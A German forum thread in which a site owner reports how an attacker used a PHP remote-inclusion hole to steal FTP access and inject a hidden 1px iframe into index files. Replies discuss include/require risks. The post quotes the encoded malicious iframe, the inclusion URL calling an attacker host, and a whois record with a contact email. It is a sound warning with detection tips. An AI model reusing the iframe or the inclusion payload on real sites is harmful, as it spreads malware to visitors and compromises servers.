sisyphus: Russischer Hacker und 1px-iframe

Achtung Leute, prüft Euere index-Quelltexte auf iframes

Gestern morgen schlich sich ein russischer Hacker auf meinen Serveraccount, durchsuchte alle domain-ordner und infizierte alle index-Dateien.

Alle Zugriffe, egal ob http oder fpt, kamen von der russischen IP:

217.118.64.1

Über eine mittlerweile gestopfte Sicherheitslücke (parameter-anhang) rief er folgende Seite auf:

http://perajok.name/fofo.txt

Diese enthält offenbar ein russisches php-Programm zum Ausspionieren von Serverdaten (interessant eigentlich)

Damit konnte er offenbar auch das FTP-Passwort herausfinden. Zwei Stunden später ist er per FTP, offensichtlich per Hand, nacheinander alle domain-Ordner durchgegangen und hat die index-Dateien ersetzt, wobei wohl eine Funktion in obigem php-Programm hilft. Außerdem sah er sich zwei vom Namen her interessante Dateien an, anderer ignorierte er, was ebenfalls auf händisches Vorgehen schließen lässt. Insgesamt brauchte er 1 Stunde.

Interessant ist das Textsnippet, das er in alle index-Dateien der ersten Ebene einfügte, nämlich einen 1px-großen iframe:

<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#116;&#119;&#111;&#98;&#105;&#111;&#46;&#99;&#111;&#109;&#47;&#116;&#111;&#112;&#47;&#105;&#110;&#100;&#101;&#120;&#46;&#104;&#116;&#109;&#108;" width=1 height=1></iframe>

Das ergibt eine faktisch unsichtbaren Link-Textausgabe:

(Vorsicht Viren!)
http://twobio.com/top/index.html
(Achtung, Antivir meldet einen Java-Wurm bei dieser Seite)

Die Seite ist eine englische Entwurfseite ohne echten Inhalt, enthält aber einen Wurm.

Damit hat man wohl den Wurm auch auf der eigenen Seite.

Glücklicherweise haben meine Dateien das Apostroph nicht vertragen, weil ich entgegen der Validierungsregel mit Einfachapostroph arbeitete, so dass sich meine Seiten nicht mehr öffneten, sonst wären jetzt 500 Besucher infiziert (auch bei firefox).

Zu beiden domains kann man z.B. über http://www.iks-jena.de/cgi-bin/whois die

Domain Name: PERAJOK.NAME
Sponsoring Registrar: Direct Information Pvt. Ltd.
Domain Status: ok
Registrant ID: 1807782CONTACT-NAME
Registrant Organization: Perajok Inc.
Registrant Name: Abrikosov Maj
Registrant Address: str. Pontiay Pilata, 25/1-2
Registrant City: Rim
Registrant State/Province: Vibo Valentia
Registrant Country: ITALY
Registrant Postal Code: 134253
Admin ID: 1807782CONTACT-NAME
Admin Organization: Perajok Inc.
Admin Name: Abrikosov Maj
Admin Address: str. Pontiay Pilata, 25/1-2
Admin City: Rim
Admin State/Province: Vibo Valentia
Admin Country: ITALY
Admin Postal Code: 134253
Admin Phone Number: +001.9022501255
Admin Fax Number:
Admin Email: gr8_1@afn.ru

(Sollte der Moderator diesen Abschnitt nicht akzpetieren, kann er ihn rauswerfen, wäre aber schön, wenn der Rest veröffentlicht wird)

Der Parameter Anhang index.php?irgendwas=http://perajok.name/fofo.txt ist in den täglichen access-log-Dateien auffindbar.

Das iframe-Textsnippet müsste man in index-dateien suchen und dort am besten nach dem Begriff IFRAME oder ein Teil des obigen Strings.

Für den FTP-Zugriff muss man sich vom Serverbetreiber die FTP-Zugriffs-Logdateien senden lassen, sofern man selbst keinen Zugriff hat.

Überlegenswert - die Zeit hatte ich heute noch nicht - wäre eine htaccess-Sperre. NAtürlich auch eine Überprüfung von include-Funktionen, aber man vergisst vielleicht irgend eine alte Datei in einem verwaisten Ordner, wie hier. Beim Ändern der Passwörter    muss man dann noch bedenken, dass er über FTP in der Regel auch den mysql-Zugriffscode kennt (was hier definitiv der Fall war), so dass man möglichst zeitgleich beide Passwörter ändern muss - Serverzugriff und Datenbankzugriff.

Ich bin Amateur, kein Profi, und kann nicht mehr sagen als das, was ich rausgefunden habe. Ich wollte das einfach mal weitergeben. In Google habe ich die obigen Begriffe nicht gefunden, scheint noch nicht so bekannt zu sein.

Sisyphus

  1. hi,

    Der Parameter Anhang index.php?irgendwas=http://perajok.name/fofo.txt ist in den täglichen access-log-Dateien auffindbar.

    Wo vor du also eigentlich warnen möchtest, ist also:
    So naiv zu sein, und ungeprüft Dateien oder Ressourcen per include/require einzubinden.

    gruß,
    wahsaga

    --
    /voodoo.css:
    #GeorgeWBush { position:absolute; bottom:-6ft; }
    1. Wo vor du also eigentlich warnen möchtest, ist also: ..
      So naiv zu sein, und ungeprüft Dateien oder Ressourcen per include/require einzubinden.

      Richtig, Christoph.  Gut erkannt. Und überflüssig zu kommentieren, sofern Du mich nicht einfach beleidigen wolltest. Und alle Webworker, diese php-Falle noch nicht kennen, weil sie sich noch nicht soweit eingearbeteitet haben.

      Hauptbotschaft war aber eigentlich der Hinweis auf die Textschnipsel, die jeder mal prüfen sollte, und der Hinweis auf die schädlichen domains.

      Ein etwas (für die Leser hier) konstruktiverer Kommentar hierauf wäre:

      Hinweis für Noch-nicht-Profi-php-Anwender: Befasst Euch mit den Gefahren bei der Benutzung von include-Befehlen (z.B. http://www.inside-php.de/tutorial/PHP-Sicherheit-14/-NEVER--trust-incoming-data---Daten-richtig-verarbeiten.html)

      Für die Fortgeschrittenen: Guckt mal nach, ob ihr aus den Anfangszeiten noch php-Skripte auf dem Server hat, auf Euch bekannte Sicherheitslücken.

      Und für Kommentatoren, die nur kommentieren wollen: haut ruhig rein, ich werd mich nicht mehr wehren - ich werde den Thread nicht mehr verfolgen.

      Sisyphus

      1. Hallo,

        Und für Kommentatoren, die nur kommentieren wollen: haut ruhig rein, ich werd mich nicht mehr wehren - ich werde den Thread nicht mehr verfolgen.

        Das ist insofern schade, dass ich deinen Beitrag als sehr nützlich und durchaus als hilfreich empfand.

        Grüße
        Thomas